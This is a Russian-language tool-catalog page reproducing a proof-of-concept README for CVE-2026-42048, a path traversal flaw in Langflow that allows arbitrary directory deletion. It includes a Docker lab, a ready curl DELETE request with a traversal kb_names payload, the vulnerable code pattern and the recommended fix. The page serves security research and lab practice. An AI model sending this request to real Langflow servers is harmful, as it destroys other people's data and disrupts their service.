Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42048 — Langflow — произвольное удаление каталогов | Kitploit
Инструменты/GitHubGitHub/eqstlab/cve-2026-42048
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubeqstlab/cve-2026-42048

CVE-2026-42048

Langflow — произвольное удаление каталогов

Репозиторий
223 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42048

CVE-2026-42048 Langflow: обход пути / произвольное удаление каталогов PoC

https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de


Описание

CVE-2026-42048 : уязвимость произвольного удаления каталогов в Langflow

описание: Уязвимость обхода пути в Langflow до 1.9.0 позволяет аутентифицированному злоумышленнику удалять каталоги за пределами предназначенного пути хранилища базы знаний через конечную точку массового удаления DELETE /api/v1/knowledge_bases. Проблема возникает из-за того, что управляемые пользователем значения kb_names используются для построения путей файловой системы без надлежащей нормализации и проверки ограничений.


Предварительные условия

Для успешной эксплуатации требуются следующие условия:

  • Целевая система работает под управлением уязвимой версии Langflow до 1.9.0.
  • Злоумышленник может получить доступ к конечной точке массового удаления баз знаний:
root@kitploit:~
DELETE /api/v1/knowledge_bases
  • Злоумышленник аутентифицирован или может иным образом выполнять аутентифицированные API-запросы. В публичных уведомлениях эта проблема описывается как требующая низких привилегий (PR:L).
  • Злоумышленник может контролировать параметр kb_names в теле запроса.
  • Процесс Langflow имеет разрешение файловой системы на удаление целевого каталога.

Эта уязвимость не обходит разрешения файловой системы операционной системы. Она злоупотребляет собственной логикой обработки путей и удаления Langflow.


Настройка лабораторной среды

Соберите и запустите уязвимое окружение с помощью Docker:

Сборка образа

root@kitploit:~
docker build -t cve-2026-42048 .

Запуск контейнера

root@kitploit:~
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048

Проверка статуса

root@kitploit:~
curl http://127.0.0.1:9101/status

Лабораторная среда создает одноразовый целевой каталог по пути:

root@kitploit:~
/target/CVE-2026-42048

Конечная точка /status сообщает, существует ли этот каталог.


Как использовать

Эксплуатация с помощью PoC

root@kitploit:~
python3 poc.py

Интерактивный ввод:

root@kitploit:~
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:

Эксплуатация с помощью curl

root@kitploit:~
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
  -H "Content-Type: application/json" \
  -d '{"kb_names":["/target/CVE-2026-42048"]}'

Проверка результата

root@kitploit:~
curl http://127.0.0.1:9101/status

Если эксплуатация успешна, target_exists меняется с true на false.


Анализ

Уязвимая конечная точка

root@kitploit:~
DELETE /api/v1/knowledge_bases

Уязвимость существует в API массового удаления баз знаний Langflow. Затронутый обработчик принимает список имен баз знаний через параметр kb_names и использует каждое значение для построения пути в файловой системе для удаления.

В уязвимых версиях логика массового удаления вручную конструирует путь вместо использования более безопасного вспомогательного средства разрешения путей, применяемого другими конечными точками баз знаний. Упрощенное представление уязвимого шаблона:

root@kitploit:~
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username

for kb_name in request.kb_names:
    kb_path = kb_user_path / kb_name

    if not kb_path.exists() or not kb_path.is_dir():
        continue

    KBStorageHelper.delete_storage(kb_path, kb_name)

Вспомогательная функция удаления в конечном счете удаляет целевой каталог с помощью рекурсивной логики удаления. Поскольку kb_name контролируется злоумышленником, последовательности обхода пути, такие как ../, могут выйти за пределы каталога базы знаний текущего пользователя. В Python pathlib абсолютный путь, указанный с правой стороны, также может переопределять предыдущие компоненты пути:

root@kitploit:~
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048

В результате специально сформированное значение kb_names может заставить Langflow удалить каталог за пределами предназначенного корневого каталога хранилища баз знаний, если у процесса Langflow есть разрешение на удаление этого каталога.

Это проблема CWE-22: Improper Limitation of a Pathname to a Restricted Directory.

Техническая первопричина

Корневая причина — недостаточная нормализация и проверка границ управляемых пользователем компонентов пути перед рекурсивным удалением. Уязвимая конечная точка массового удаления проверяет, существует ли итоговый путь, но не гарантирует, что разрешенный путь остается в пределах каталога базы знаний аутентифицированного пользователя.

Надежное исправление должно:

  • нормализовать итоговый путь с помощью Path.resolve()
  • гарантировать, что разрешенный путь по-прежнему находится внутри каталога базы знаний аутентифицированного пользователя
  • отклонять пути, выходящие за пределы этого каталога, до удаления

Langflow исправил эту проблему в версии 1.9.0.

Почему это важно

Произвольное удаление каталогов может напрямую повлиять на целостность и доступность. В зависимости от разрешений развертывания и структуры файловой системы злоумышленник может:

  • удалить данные базы знаний другого пользователя
  • удалить каталоги, принадлежащие приложению
  • нарушить состояние выполнения Langflow
  • привести к потере данных или перерывам в обслуживании

Эта проблема не требует произвольного выполнения кода, чтобы быть вредоносной. Рекурсивного удаления с привилегиями приложения достаточно для нанесения ущерба данным и доступности.


Сценарий

root@kitploit:~
+-------------------------------------------+
|              Authenticated User           |
+-------------------------------------------+
                      |
                      | DELETE /api/v1/knowledge_bases
                      | kb_names = ["/target/CVE-2026-42048"]
                      v
+-------------------------------------------+
|       Langflow Knowledge Base API         |
+-------------------------------------------+
                      |
                      | Unsafe path construction
                      v
+-------------------------------------------+
|   Path Escapes Intended KB User Directory |
+-------------------------------------------+
                      |
                      | Recursive directory deletion
                      v
+-------------------------------------------+
|        Arbitrary Directory Deletion       |
+-------------------------------------------+

Примечания к лабораторной среде

Эта лабораторная среда предоставляет небольшой прокси-сервер для задания на порту 9101. Прокси скрывает полный интерфейс Langflow и прямой порт бэкенда, передавая только минимальный уязвимый путь API, необходимый для этого упражнения.

Целевой каталог для лабораторной среды:

root@kitploit:~
/target/CVE-2026-42048

Конечная точка /status может использоваться для подтверждения того, что целевой каталог был удален.


Очистка

root@kitploit:~
docker stop cve-2026-42048

Отказ от ответственности

Этот репозиторий не предназначен для содействия несанкционированной эксплуатации экземпляров Langflow. Цель этого проекта — помочь исследователям безопасности, специалистам по защите и разработчикам понять уязвимость, проверить уровень подверженности риску в контролируемых средах и применить эффективные меры защиты.


Ссылки

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q

https://nvd.nist.gov/vuln/detail/CVE-2026-42048

https://github.com/langflow-ai/langflow

Скачать инструмент